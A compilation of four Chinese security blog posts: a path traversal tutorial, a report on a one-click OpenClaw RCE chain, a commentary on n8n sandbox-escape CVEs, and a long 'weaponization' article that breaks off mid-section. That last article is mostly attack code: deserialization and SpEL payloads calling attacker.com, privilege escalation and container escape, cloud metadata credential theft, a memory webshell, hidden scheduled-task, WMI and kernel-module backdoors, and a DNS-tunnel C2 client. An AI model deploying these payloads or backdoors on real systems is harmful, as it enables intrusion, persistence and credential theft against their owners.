# 【服务端漏洞-路径遍历-第一章第一节】服务器漏洞解析第一弹：一文读懂路径遍历漏洞
|
||||
原创 升斗安全XiuXiu
|
||||
升斗安全XiuXiu 升斗安全 2026-02-02 14:37
|
||||
|
||||
**【文章说明】**
|
||||
- **目的**
|
||||
：本文内容仅为网络安全**技术研究与教育**
|
||||
目的而创作。
|
||||
|
||||
- **红线**
|
||||
：严禁将本文知识用于任何**未授权**
|
||||
的非法活动。使用者必须遵守《网络安全法》等相关法律。
|
||||
|
||||
- **责任**
|
||||
：任何对本文技术的滥用所引发的**后果自负**
|
||||
，与本公众号及作者无关。
|
||||
|
||||
- **免责**
|
||||
：内容仅供参考，作者不对其准确性、完整性作任何担保。
|
||||
|
||||
**阅读即代表您同意以上条款。**
|
||||
|
||||
****
|
||||
今天开始，这边将给大家分享一些有关服务器端的漏洞内容。作为开头的一篇，我们就先来了解下有关“
|
||||
路径遍历”的相关内容。
|
||||
|
||||
首先我们先了解什么是
|
||||
路径遍历：
|
||||
|
||||
路径遍历亦称
|
||||
目录遍历。这类漏洞使得攻击者能够
|
||||
读取运行应用程序的服务上的
|
||||
任意文件，可能包括：
|
||||
- 应用程序代码与数据
|
||||
|
||||
- 后端系统凭证
|
||||
|
||||
- 敏感的操作系统文件
|
||||
|
||||
|
||||
在某些情况下，攻击者甚至可能向服务器上的任意文件
|
||||
执行写入操作，从而篡改应用程序数据或行为，最终完全控制服务器。
|
||||
|
||||
|
||||
|
||||
其次，我们也先大概了解下，攻击者是如何通过路径遍历读取任意文件的。
|
||||
|
||||
假设有一个购物网站，通过以下HTML代码加载商品展示图片：
|
||||
```
|
||||
<img src="/loadImage?filename=218.png">
|
||||
```
|
||||
|
||||
loadImage 接口接收
|
||||
filename 参数并返回指定文件的内容。图片文件实际存储在服务器的
|
||||
/var/www/images/ 目录下。应用程序会将被请求的文件名拼接至该基础目录后，再通过文件系统API读取文件内容。也就是说，程序
|
||||
实际读取的文件路径为：
|
||||
|
||||
/var/www/images/218.png
|
||||
|
||||
该应用未部署任何针对路径遍历攻击的防护措施。因此，攻击者可通过构造以下URL来获取服务器文件系统中的
|
||||
/etc/passwd 文件：
|
||||
|
||||
|
||||
https://insecure-website.com/loadImage?filename=
|
||||
../../../etc/passwd
|
||||
|
||||
|
||||
这将导致应用程序尝试读取以下文件路径：
|
||||
|
||||
/var/www/images/
|
||||
../../../etc/passwd
|
||||
|
||||
../ 在文件路径中表示向上一级目录跳转。连续使用三个
|
||||
../ 符号可从 /var/www/images/ 目录回退至文件系统根目录 /，因此实际被读取的文件是：
|
||||
|
||||
/etc/passwd
|
||||
|
||||
在基于
|
||||
Unix的操作系统中，这是存储服务器注册用户信息的标准文件。攻击者使用相同手法还可获取其他任意文件。【只要我们知道这类服务器的默认文件路径和文件名即可】
|
||||
|
||||
在
|
||||
Windows系统中，
|
||||
../ 和
|
||||
..\ 均为有效的目录遍历符号。以下是对基于Windows服务器相同效果的攻击示例【同样的，需要知道对应服务器的默认文件路径和文件名】：
|
||||
|
||||
https://insecure-website.com/loadImage?filename=
|
||||
..\..\..\windows\win.ini
|
||||
|
||||
好了，有关路径遍历漏洞的基础原理，就先分享到这里，这边后续会结合实际场景，给大家分享一些实际漏洞利用效果，以及更多有关服务器漏洞的原理、利用方式等内容，感兴趣的可以点点关注。
|
||||
|
||||
觉得文章有用的话，一键三连（点赞、分享、关注），就是对我最大的鼓励，谢谢。
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
# 一键Clawdbot漏洞：启动恶意远程代码执行攻击
|
||||
O安全研究员
|
||||
O安全研究员 O安全研究员 2026-02-02 12:01
|
||||
|
||||
|
||||
|
||||
|
||||
OpenClaw——这款被超过10万开发者信赖的开源AI个人助手——中的一个关键漏洞已被发现并被武器化，成为一项毁灭性的一键远程代码执行漏洞。
|
||||
|
||||
|
||||
depthfirst通用安全情报公司的安全研究人员发现了一个逻辑缺陷，结合其他漏洞，可能引发连锁反应。
|
||||
|
||||
|
||||
允许攻击者通过单一恶意链接完全控制受害者系统，无需用户作。
|
||||
|
||||
## 漏洞概览：技术攻击机制
|
||||
|
||||
|
||||
OpenClaw 的架构赋予 AI 代理“神模式”访问消息应用、API 密钥以及对本地计算机的无限制控制权。
|
||||
|
||||
|
||||
尽管社区对该平台的热情推动了快速采用，但在如此高特权环境下，安全容错空间变得极其有限。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
新披露的漏洞利用了三个独立的组件，这些组件是依次工作的：不安全的URL参数摄取、无需验证即可立即连接网关，以及自动传输认证令牌。
|
||||
|
||||
|
||||
利用链从三个看似无害的作开始，这些作在代码库中独立发生。
|
||||
|
||||
|
||||
app-settings.ts模块盲目接受 URL 中的 gatewayUrl 查询参数，无需验证，然后直接存储在 localStorage。
|
||||
|
||||
|
||||
在设置应用后，app-lifecycle.ts会立即触发connectGateway（），该命令会自动将安全敏感的authToken捆绑到攻击者控制的网关服务器的连接握手中。
|
||||
|
||||
|
||||
|
||||
|
||||
这种模式造成了关键信息披露的漏洞。杀链还利用了WebSocket起源验证的一个额外漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
当受害者访问恶意网页时，攻击者注入的JavaScript会在其浏览器上下文中执行，建立与受害者在localhost：18789上运行的OpenClaw实例的本地连接。
|
||||
|
||||
|
||||
与标准 HTTP 连接不同，浏览器 WebSocket 实现不强制执行同源策略保护;相反，它们依赖服务器端起源头部验证，而 OpenClaw 完全省略了这一点。
|
||||
|
||||
|
||||
这种跨站WebSocket劫持（CSWSH）使攻击者能够通过受害者的浏览器作为代理进行转换。
|
||||
|
||||
|
||||
一旦通过被盗令牌认证，攻击者就会利用操作员。行政和操作员岗位。批准，以及关闭安全机制的范围。
|
||||
|
||||
|
||||
执行 aponce.set 请求会关闭用户确认提示，而配置则是补丁请求将 tools.exec.host 设置为“网关”，强制命令直接在主机上执行，而非容器化沙箱内。
|
||||
|
||||
|
||||
最终有效载荷调用节点。用任意的bash命令调用，实现系统完全被攻破。
|
||||
|
||||
## 缓解措施
|
||||
|
||||
|
||||
OpenClaw 开发团队迅速修复了该漏洞，实现了网关 URL 确认模态，消除了导致攻击的无提示自动连接行为。
|
||||
|
||||
|
||||
DepthFirst 建议所有运行 v2026.1.24-1 之前版本的用户仍处于风险状态，应立即升级。
|
||||
|
||||
|
||||
管理员应轮换认证令牌，并审计命令执行日志是否有可疑活动。
|
||||
|
||||
|
||||
此事件凸显了在未经过配置变更和网络连接的稳健验证的情况下，向AI代理提供无限制系统访问所带来的安全风险。
|
||||
|
||||
|
||||
部署 OpenClaw 的组织应实现额外的网络分段，限制 AI 代理进程的出站 WebSocket 连接，并严格维护认证令牌使用和权限修改的审计日志。
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
# 为什么 JS/Python 沙箱这么难搞？从 n8n 的两个 RCE 漏洞谈起
|
||||
原创 Hankzheng
|
||||
Hankzheng 技术修道场 2026-02-02 23:55
|
||||
|
||||
|
||||
|
||||
前两天和几个做架构的朋友撸串，聊起现在大火的 **AI 工作流自动化**
|
||||
。大家都在用 n8n 来串联各种 API 和 LLM，甚至有人开玩笑说：“只要 n8n 玩得好，下班回家早”。
|
||||
|
||||
但作为在安全圈摸爬滚打多年的挨踢人，我当时就提了个醒：**这种把所有“重要信息”（API Key、数据库权限、IAM 凭证）都交给一个平台的做法，一旦被破防，那就是全线崩溃。**
|
||||
|
||||
果不其然，这两天安全圈炸锅了。JFrog 研究团队刚披露了 n8n 的两个“重量级”漏洞，其中一个评分高达 **9.9**
|
||||
！这意味着什么？意味着黑客只要拿到一个普通账号，就能分分钟把你的整个 n8n 实例给“端”了。
|
||||
## 1. 为什么这次漏洞这么“毒”？
|
||||
|
||||
大家可能觉得，需要“认证后”才能触发的漏洞没那么可怕。但你要知道，n8n 在企业内部通常连接着核心业务：销售数据、LLM API、甚至是内部权限管理系统（IAM）。
|
||||
> JFrog 的副总裁打了个很形象的比喻：这就像是黑客拿到了全公司的**“万能钥匙”**
|
||||
。即便是在内部执行模式下，一旦实现 RCE（远程代码执行），你的服务器就彻底成了人家的“肉鸡”。
|
||||
|
||||
## 2. 硬核拆解：沙箱是怎么被“玩坏”的？
|
||||
|
||||
这次出问题的核心在于 **沙箱逃逸（Sandbox Escape）**
|
||||
。咱们重点看看这两个高危漏洞的技术逻辑：
|
||||
### ● CVE-2026-1470 (CVSS 9.9)：JS 注入的“绝命毒师”
|
||||
|
||||
n8n 允许用户在节点中使用 JavaScript 表达式。为了安全，官方设计了一套基于 **AST（抽象语法树）**
|
||||
分析和白名单过滤的沙箱机制。
|
||||
- **实现难点：**
|
||||
如何在允许用户写逻辑的同时，禁止他们调用 process
|
||||
或 child_process
|
||||
？
|
||||
|
||||
- **漏洞成因：**
|
||||
黑客利用了一些极度冷门、甚至是被弃用的 JS 语法特性，配合 Node.js 运行时的异常处理机制，成功绕过了 AST 静态检查。
|
||||
|
||||
- **后果：**
|
||||
攻击者构造了一段“看起来很萌”的 JS 代码，让 n8n 误以为安全并执行，结果直接拿到了主进程权限。
|
||||
|
||||
### ● CVE-2026-0863 (CVSS 8.5)：Python 执行器的“金蝉脱壳”
|
||||
|
||||
n8n 的 Python 节点使用了一个名为 python-task-executor
|
||||
的组件。
|
||||
- **技术点：**
|
||||
这里涉及 **Eval 注入**
|
||||
。即便官方做了多层校验，但 Python 作为动态语言实在是太灵活了。
|
||||
|
||||
- **破防手段：**
|
||||
研究员发现，通过特定的解释器行为和底层的特殊变量访问，可以突破受限环境，直接在宿主操作系统上跑任意 Python 代码。
|
||||
|
||||
## 3. 深度反思：沙箱防线为何难守？
|
||||
|
||||
作为搞了多年后端的人，我也深有感触。研究员 Nathan Nehorai 说了一句很扎心的话：**“想要完全封锁 JS 和 Python 这种高阶动态语言的沙箱，简直是难如登天。”**
|
||||
|
||||
即便你做了：
|
||||
**1. 多层校验**
|
||||
**2. 黑名单过滤**
|
||||
**3. AST 静态分析**
|
||||
|
||||
但只要解释器更新了、或者某些边缘语法没处理干净，黑客就能通过**“嵌套、异常抛出、运行时反射”**
|
||||
等骚操作，把原本死掉的代码“复活”。这就是动态语言的魅力，也是安全官的噩梦。
|
||||
## 4. 你的 n8n 还在“裸奔”吗？
|
||||
|
||||
最让人头大的是，截至 1 月底，全网竟然还有 **39,000 多个**
|
||||
n8n 实例暴露在之前的漏洞威胁之下。如果你还在用旧版本，听哥一句劝，赶紧升！
|
||||
<table><thead><tr style="background-color: rgb(242, 242, 242);"><th style="padding: 10px;border: 1px solid rgb(221, 221, 221);"><section><span leaf=""><span textstyle="" style="font-size: 16px;">漏洞编号</span></span></section></th><th style="padding: 10px;border: 1px solid rgb(221, 221, 221);"><section><span leaf=""><span textstyle="" style="font-size: 16px;">安全版本建议</span></span></section></th></tr></thead><tbody><tr><td style="padding: 10px;border: 1px solid rgb(221, 221, 221);"><section><span leaf=""><span textstyle="" style="font-size: 16px;">CVE-2026-1470</span></span></section></td><td style="padding: 10px;border: 1px solid rgb(221, 221, 221);"><section><span leaf=""><span textstyle="" style="font-size: 16px;">1.123.17 / 2.4.5 / 2.5.1+</span></span></section></td></tr><tr><td style="padding: 10px;border: 1px solid rgb(221, 221, 221);"><section><span leaf=""><span textstyle="" style="font-size: 16px;">CVE-2026-0863</span></span></section></td><td style="padding: 10px;border: 1px solid rgb(221, 221, 221);"><section><span leaf=""><span textstyle="" style="font-size: 16px;">1.123.14 / 2.3.5 / 2.4.2+</span></span></section></td></tr></tbody></table>
|
||||
**防御进阶：**
|
||||
在生产环境中，**强烈建议关闭“Internal”执行模式**
|
||||
。虽然它跑得快，但隔离性差。一定要切换到 **External 模式**
|
||||
，让任务运行在独立的隔离进程中。
|
||||
|
||||
技术圈里，功能和安全永远在博弈。n8n 给了我们自由，但也可能挖下深坑。你是如何平衡开发便捷性与系统安全的？或者你在使用沙箱时遇到过哪些坑？
|
||||
|
||||
欢迎在评论区留言交流！
|
||||
|
||||
想了解如何配置 n8n 的 External 隔离模式？欢迎留言或私信交流。
|
||||
|
||||
@@ -0,0 +1,746 @@
|
||||
# 任意代码执行的原子狩猎：从漏洞挖掘到系统沦陷的武器化工程
|
||||
原创 逍遥
|
||||
逍遥 逍遥子讲安全 2026-02-02 17:30
|
||||
|
||||
当你的RCE漏洞还停留在执行whoami
|
||||
时，攻击者已经用它构建了持续渗透基础设施——区别在于将漏洞视为孤立事件还是系统性攻击的**初始植入点**
|
||||
。
|
||||
## 一、攻击面重定义：现代应用中的23个代码执行载体
|
||||
### 1. 被低估的六类非传统入口
|
||||
|
||||
**入口一：配置管理系统的动态解析**
|
||||
```
|
||||
yaml
|
||||
# Spring Boot application.yml 中的SpEL注入
|
||||
spring:
|
||||
application:
|
||||
name: #{T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||
|
||||
# 环境变量中的命令注入
|
||||
DATABASE_URL: "postgres://user:pass@host/db?ssl=true;$(curl attacker.com)"
|
||||
```
|
||||
|
||||
**入口二：序列化协议中的元编程**
|
||||
```
|
||||
java
|
||||
// Fastjson ≤1.2.68 的AutoType绕过
|
||||
{
|
||||
"@type":"com.sun.rowset.JdbcRowSetImpl",
|
||||
"dataSourceName":"ldap://attacker.com/Exploit",
|
||||
"autoCommit":true
|
||||
}
|
||||
// Yaml反序列化（SnakeYAML）
|
||||
!!javax.script.ScriptEngineManager [
|
||||
!!java.net.URLClassLoader [[
|
||||
!!java.net.URL ["http://attacker.com/yaml-payload.jar"]
|
||||
]]
|
||||
]
|
||||
```
|
||||
|
||||
**入口四：数据验证器的表达式注入**
|
||||
```
|
||||
javascript
|
||||
// JSON Schema验证器中的exec
|
||||
const schema = {
|
||||
"properties": {
|
||||
"name": {
|
||||
"type": "string",
|
||||
"pattern": "^.*$",
|
||||
"onMatch": "function(value){require('child_process').exec(value)}"
|
||||
}
|
||||
}
|
||||
};
|
||||
// XML Schema中的XPath注入
|
||||
// xpath: //*[name()='$((new java.lang.ProcessBuilder('calc')).start())']
|
||||
```
|
||||
|
||||
**入口五：任务调度器的动态代码加载**
|
||||
```
|
||||
java
|
||||
// Quartz Scheduler中的JobDetail注入
|
||||
JobDetail job = newJob(MaliciousJob.class)
|
||||
.withIdentity("job1", "group1")
|
||||
.usingJobData("data",
|
||||
"恶意序列化数据: {" +
|
||||
"\"@type\":\"org.springframework.context.support.ClassPathXmlApplicationContext\"," +
|
||||
"\"configLocation\":\"http://attacker.com/spel.xml\"}")
|
||||
.build();
|
||||
```
|
||||
|
||||
**入口六：IDE插件的构建时执行**
|
||||
```
|
||||
xml
|
||||
<!-- Maven插件中的exec -->
|
||||
<plugin>
|
||||
<groupId>org.codehaus.mojo</groupId>
|
||||
<artifactId>exec-maven-plugin</artifactId>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>compile</phase>
|
||||
<goals><goal>exec</goal></goals>
|
||||
<configuration>
|
||||
<executable>${project.build.directory}/malicious.sh</executable>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
```
|
||||
## 二、漏洞升级：从命令执行到特权容器
|
||||
### 1. 权限逃逸的四层攻击链
|
||||
|
||||
**第一层：应用上下文→系统权限**
|
||||
```
|
||||
bash
|
||||
# 通过应用权限执行系统命令
|
||||
# 寻找SUID二进制文件
|
||||
find / -perm -4000 2>/dev/null
|
||||
# 利用环境变量劫持
|
||||
echo 'int main(){setuid(0);system("/bin/bash");}' > /tmp/exploit.c
|
||||
gcc /tmp/exploit.c -o /tmp/exploit
|
||||
export PATH=/tmp:$PATH
|
||||
# 触发SUID程序执行
|
||||
```
|
||||
|
||||
**第二层：容器逃逸→宿主机访问**
|
||||
```
|
||||
python
|
||||
# 检测容器环境
|
||||
import os, socket, json
|
||||
def check_container():
|
||||
indicators = {
|
||||
'docker': '/.dockerenv',
|
||||
'k8s': '/var/run/secrets/kubernetes.io/serviceaccount/token',
|
||||
'cgroup': '/proc/self/cgroup'
|
||||
}
|
||||
|
||||
for env, path in indicators.items():
|
||||
if os.path.exists(path):
|
||||
return env, path
|
||||
|
||||
return None
|
||||
# 尝试容器逃逸
|
||||
def escape_container():
|
||||
# 1. Docker Socket挂载
|
||||
if os.path.exists('/var/run/docker.sock'):
|
||||
# 控制宿主机Docker守护进程
|
||||
return "docker_socket_escape"
|
||||
|
||||
# 2. 特权容器检查
|
||||
with open('/proc/self/status') as f:
|
||||
if 'CapEff:\t0000003fffffffff' in f.read():
|
||||
# 具有全部能力，直接挂载宿主机文件系统
|
||||
os.system('mount /dev/sda1 /mnt')
|
||||
return "privileged_container"
|
||||
|
||||
# 3. 内核漏洞检测
|
||||
vulnerabilities = {
|
||||
'CVE-2022-0847': 'dirtypipe',
|
||||
'CVE-2022-0492': 'cgroups_release_agent'
|
||||
}
|
||||
|
||||
return "check_kernel_exploits"
|
||||
```
|
||||
|
||||
**第三层：云服务元数据→凭据窃取**
|
||||
```
|
||||
bash
|
||||
# AWS实例元数据服务攻击
|
||||
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
# 获取临时凭证
|
||||
# 阿里云元数据
|
||||
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/
|
||||
# 利用凭证横向移动
|
||||
aws sts assume-role --role-arn arn:aws:iam::目标账户:role/Admin \
|
||||
--role-session-name attack-session
|
||||
```
|
||||
|
||||
**第四层：服务账户→Kubernetes集群控制**
|
||||
```
|
||||
yaml
|
||||
# 利用Service Account Token
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: privilege-escalator
|
||||
spec:
|
||||
containers:
|
||||
- name: attacker
|
||||
image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args: ["-c", "cat /var/run/secrets/kubernetes.io/serviceaccount/token"]
|
||||
|
||||
# 使用窃取的Token操作集群
|
||||
kubectl --token=窃取的TOKEN --server=https://kubernetes.default.svc \
|
||||
get pods --all-namespaces
|
||||
```
|
||||
### 2. 持久化的五种隐蔽机制
|
||||
|
||||
**机制一：内存驻留WebShell**
|
||||
```
|
||||
java
|
||||
// Java Filter型内存马
|
||||
public class EvilFilter implements Filter {
|
||||
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) {
|
||||
if(req.getParameter("cmd") != null) {
|
||||
try {
|
||||
Runtime.getRuntime().exec(req.getParameter("cmd"));
|
||||
} catch(Exception e) {}
|
||||
}
|
||||
chain.doFilter(req, resp);
|
||||
}
|
||||
}
|
||||
// 动态注册Filter
|
||||
ServletContext ctx = request.getServletContext();
|
||||
FilterRegistration.Dynamic filter = ctx.addFilter("evil", new EvilFilter());
|
||||
filter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");
|
||||
```
|
||||
|
||||
**机制二：计划任务的进化形态**
|
||||
```
|
||||
powershell
|
||||
# Windows隐藏计划任务
|
||||
schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\ScheduledScan" `
|
||||
/tr "C:\Windows\System32\cmd.exe /c 恶意命令" `
|
||||
/sc monthly /mo 1 /f /ru "SYSTEM"
|
||||
# Linux Systemd定时服务
|
||||
[Unit]
|
||||
Description=Backdoor Service
|
||||
After=network.target
|
||||
[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/bin/bash -c "恶意命令"
|
||||
User=root
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
```
|
||||
|
||||
**机制三：WMI事件订阅后门**
|
||||
```
|
||||
powershell
|
||||
$filterArgs = @{
|
||||
EventNamespace = 'root\cimv2'
|
||||
Name = 'BackdoorFilter'
|
||||
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
|
||||
QueryLanguage = 'WQL'
|
||||
}
|
||||
$consumerArgs = @{
|
||||
Name = 'BackdoorConsumer'
|
||||
CommandLineTemplate = "cmd.exe /c 恶意命令"
|
||||
}
|
||||
$filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs
|
||||
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $consumerArgs
|
||||
# 绑定过滤器和消费者
|
||||
$bindingArgs = @{
|
||||
Filter = $filter
|
||||
Consumer = $consumer
|
||||
}
|
||||
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $bindingArgs
|
||||
```
|
||||
|
||||
**机制四：DNS隧道命令控制**
|
||||
```
|
||||
python
|
||||
# DNS隐蔽信道C2
|
||||
import base64, subprocess, dns.resolver
|
||||
def execute_via_dns(command):
|
||||
# 将命令编码为子域名
|
||||
encoded = base64.b64encode(command.encode()).decode().replace('=', '')
|
||||
|
||||
# 分块发送
|
||||
chunk_size = 30
|
||||
for i in range(0, len(encoded), chunk_size):
|
||||
chunk = encoded[i:i+chunk_size]
|
||||
domain = f"{chunk}.c2.attacker.com"
|
||||
try:
|
||||
dns.resolver.resolve(domain, 'A')
|
||||
except:
|
||||
pass
|
||||
|
||||
# 通过TXT记录接收输出
|
||||
output_domain = f"output.{encoded[:10]}.c2.attacker.com"
|
||||
try:
|
||||
answers = dns.resolver.resolve(output_domain, 'TXT')
|
||||
for rdata in answers:
|
||||
for txt_string in rdata.strings:
|
||||
return txt_string.decode()
|
||||
except:
|
||||
return ""
|
||||
# 主循环
|
||||
while True:
|
||||
cmd = execute_via_dns("get_command")
|
||||
if cmd:
|
||||
result = subprocess.check_output(cmd, shell=True)
|
||||
execute_via_dns(f"result:{base64.b64encode(result).decode()}")
|
||||
```
|
||||
|
||||
**机制五：硬件抽象层钩子**
|
||||
```
|
||||
c
|
||||
// Linux内核模块后门
|
||||
#include <linux/module.h>
|
||||
#include <linux/kernel.h>
|
||||
#include <linux/init.h>
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter_ipv4.h>
|
||||
static struct nf_hook_ops nfho;
|
||||
unsigned int hook_func(void *priv, struct sk_buff *skb,
|
||||
const struct nf_hook_state *state) {
|
||||
struct iphdr *iph = ip_hdr(skb);
|
||||
|
||||
// 检测特定特征触发后门
|
||||
if(iph->protocol == IPPROTO_TCP &&
|
||||
skb->data[0] == 0xde && skb->data[1] == 0xad) {
|
||||
// 执行特权操作
|
||||
char *argv[] = {"/bin/bash", "-c", "恶意命令", NULL};
|
||||
call_usermodehelper(argv[0], argv, NULL, UMH_WAIT_PROC);
|
||||
}
|
||||
|
||||
return NF_ACCEPT;
|
||||
}
|
||||
static int __init backdoor_init(void) {
|
||||
nfho.hook = hook_func;
|
||||
nfho.hooknum = NF_INET_PRE_ROUTING;
|
||||
nfho.pf = PF_INET;
|
||||
nfho.priority = NF_IP_PRI_FIRST;
|
||||
nf_register_net_hook(&init_net, &nfho);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## 三、武器化利用框架设计
|
||||
### 1. 智能漏洞检测引擎
|
||||
```
|
||||
python
|
||||
class RCEDetector:
|
||||
def __init__(self, target_info):
|
||||
self.tech_stack = target_info['tech_stack']
|
||||
self.contexts = target_info['contexts']
|
||||
self.payloads = self._load_payload_library()
|
||||
|
||||
def _load_payload_library(self):
|
||||
"""加载针对不同技术栈的Payload库"""
|
||||
library = {
|
||||
'java': {
|
||||
'deserialization': self._java_deser_payloads(),
|
||||
'spel': self._spel_payloads(),
|
||||
'ognl': self._ognl_payloads()
|
||||
},
|
||||
'python': {
|
||||
'pickle': self._pickle_payloads(),
|
||||
'yaml': self._yaml_payloads(),
|
||||
'template': self._python_tpl_payloads()
|
||||
},
|
||||
'nodejs': {
|
||||
'eval': self._eval_payloads(),
|
||||
'deserialization': self._node_deser_payloads()
|
||||
}
|
||||
}
|
||||
return library
|
||||
|
||||
def generate_contextual_payloads(self, injection_point):
|
||||
"""根据注入点上下文生成Payload"""
|
||||
payloads = []
|
||||
|
||||
# 判断是否是命令注入上下文
|
||||
if self._is_command_context(injection_point):
|
||||
payloads.extend(self._os_command_payloads())
|
||||
|
||||
# 判断是否是代码注入上下文
|
||||
if self._is_code_context(injection_point):
|
||||
for lang in ['java', 'python', 'php', 'javascript']:
|
||||
if lang in self.tech_stack.lower():
|
||||
payloads.extend(self._code_exec_payloads(lang))
|
||||
|
||||
# 判断是否是反序列化上下文
|
||||
if self._is_deserialization_context(injection_point):
|
||||
payloads.extend(self._deserialization_payloads())
|
||||
|
||||
return payloads
|
||||
|
||||
def _java_deser_payloads(self):
|
||||
"""Java反序列化Payload库"""
|
||||
return [
|
||||
# Commons Collections链
|
||||
"rO0ABX...",
|
||||
# Jdk7u21链
|
||||
"rO0ABX...",
|
||||
# 动态生成基于目标classpath的链
|
||||
self._dynamic_gadget_chain()
|
||||
]
|
||||
```
|
||||
### 2. 自动化影响评估系统
|
||||
```
|
||||
python
|
||||
class RCEImpactAssessor:
|
||||
def __init__(self, exploit_successful):
|
||||
self.capabilities = []
|
||||
self.environment = self._probe_environment()
|
||||
|
||||
def full_assessment(self):
|
||||
"""完整的影响评估链"""
|
||||
assessment = {
|
||||
'privilege': self._assess_privilege(),
|
||||
'persistence': self._assess_persistence_options(),
|
||||
'lateral': self._assess_lateral_movement(),
|
||||
'data_access': self._assess_data_access(),
|
||||
'business_impact': self._calculate_business_impact()
|
||||
}
|
||||
|
||||
return assessment
|
||||
|
||||
def _assess_privilege(self):
|
||||
"""评估当前权限级别"""
|
||||
tests = [
|
||||
('root_check', 'id -u', '0', 'root权限'),
|
||||
('docker_check', 'docker ps', None, 'Docker访问权限'),
|
||||
('k8s_check', 'kubectl version', None, 'Kubernetes访问权限'),
|
||||
('cloud_check', self._check_cloud_metadata, None, '云服务凭证')
|
||||
]
|
||||
|
||||
for name, cmd, expected, desc in tests:
|
||||
try:
|
||||
result = self._execute_safely(cmd)
|
||||
if expected and result.strip() == expected:
|
||||
self.capabilities.append(desc)
|
||||
elif result:
|
||||
self.capabilities.append(f"{desc}: {result[:100]}")
|
||||
except:
|
||||
continue
|
||||
|
||||
return self.capabilities
|
||||
|
||||
def _assess_lateral_movement(self):
|
||||
"""评估横向移动可能性"""
|
||||
lateral_options = []
|
||||
|
||||
# 检查网络拓扑
|
||||
network_info = self._execute_safely('ip route')
|
||||
if '10.' in network_info or '192.168.' in network_info:
|
||||
lateral_options.append('内网环境')
|
||||
|
||||
# 检查可访问的服务
|
||||
services = self._execute_safely('netstat -tulpn 2>/dev/null || ss -tulpn')
|
||||
for line in services.split('\n'):
|
||||
if ':22' in line:
|
||||
lateral_options.append('SSH服务')
|
||||
if ':445' in line or ':139' in line:
|
||||
lateral_options.append('SMB服务')
|
||||
|
||||
# 检查凭证文件
|
||||
sensitive_files = [
|
||||
'/etc/passwd', '/etc/shadow',
|
||||
'~/.ssh/id_rsa', '~/.aws/credentials',
|
||||
'/var/lib/kubelet/kubeconfig'
|
||||
]
|
||||
|
||||
for file in sensitive_files:
|
||||
if self._file_exists(file):
|
||||
lateral_options.append(f'敏感文件: {file}')
|
||||
|
||||
return lateral_options
|
||||
```
|
||||
### 3. 漏洞利用链自动化构建
|
||||
```
|
||||
python
|
||||
class ExploitChainBuilder:
|
||||
def __init__(self, initial_access):
|
||||
self.chain = []
|
||||
self.current_access = initial_access
|
||||
|
||||
def build_chain(self, target_objective):
|
||||
"""构建从初始访问到目标达成的完整链"""
|
||||
|
||||
# 步骤1：信息收集
|
||||
self.chain.append(self._collect_info())
|
||||
|
||||
# 步骤2：权限提升
|
||||
if not self._is_privileged():
|
||||
self.chain.append(self._escalate_privilege())
|
||||
|
||||
# 步骤3：持久化
|
||||
self.chain.append(self._establish_persistence())
|
||||
|
||||
# 步骤4：横向移动（如果目标在内网）
|
||||
if target_objective['location'] == 'internal':
|
||||
self.chain.append(self._lateral_move(target_objective))
|
||||
|
||||
# 步骤5：目标达成
|
||||
self.chain.append(self._achieve_objective(target_objective))
|
||||
|
||||
return self.chain
|
||||
|
||||
def _escalate_privilege(self):
|
||||
"""自动化权限提升策略选择"""
|
||||
strategies = [
|
||||
('kernel_exploit', self._try_kernel_exploit),
|
||||
('sudo_misconfig', self._check_sudo_misconfig),
|
||||
('suid_binary', self._exploit_suid),
|
||||
('docker_escape', self._try_docker_escape),
|
||||
('credential_theft', self._steal_credentials)
|
||||
]
|
||||
|
||||
for name, strategy_func in strategies:
|
||||
if strategy_func():
|
||||
return {'step': 'privilege_escalation', 'method': name}
|
||||
|
||||
return {'step': 'privilege_escalation', 'status': 'failed'}
|
||||
|
||||
def _try_kernel_exploit(self):
|
||||
"""自动选择并尝试内核漏洞利用"""
|
||||
kernel_version = self._execute_safely('uname -r')
|
||||
|
||||
# 内核漏洞数据库
|
||||
exploits = {
|
||||
'4.4.0': ['CVE-2022-0847', 'CVE-2022-2588'],
|
||||
'5.10.0': ['CVE-2022-34918'],
|
||||
'5.15.0': ['CVE-2023-0386']
|
||||
}
|
||||
|
||||
for version_prefix, cves in exploits.items():
|
||||
if kernel_version.startswith(version_prefix):
|
||||
for cve in cves:
|
||||
if self._test_exploit(cve):
|
||||
return True
|
||||
|
||||
return False
|
||||
```
|
||||
## 四、SRC狩猎实战方法论
|
||||
### 1. 目标选择的四维评估模型
|
||||
|
||||
**维度一：技术栈风险矩阵**
|
||||
